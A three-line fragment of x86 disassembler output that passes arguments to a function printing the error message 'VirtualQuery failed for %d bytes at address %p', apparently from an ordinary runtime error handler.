mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6bec1e00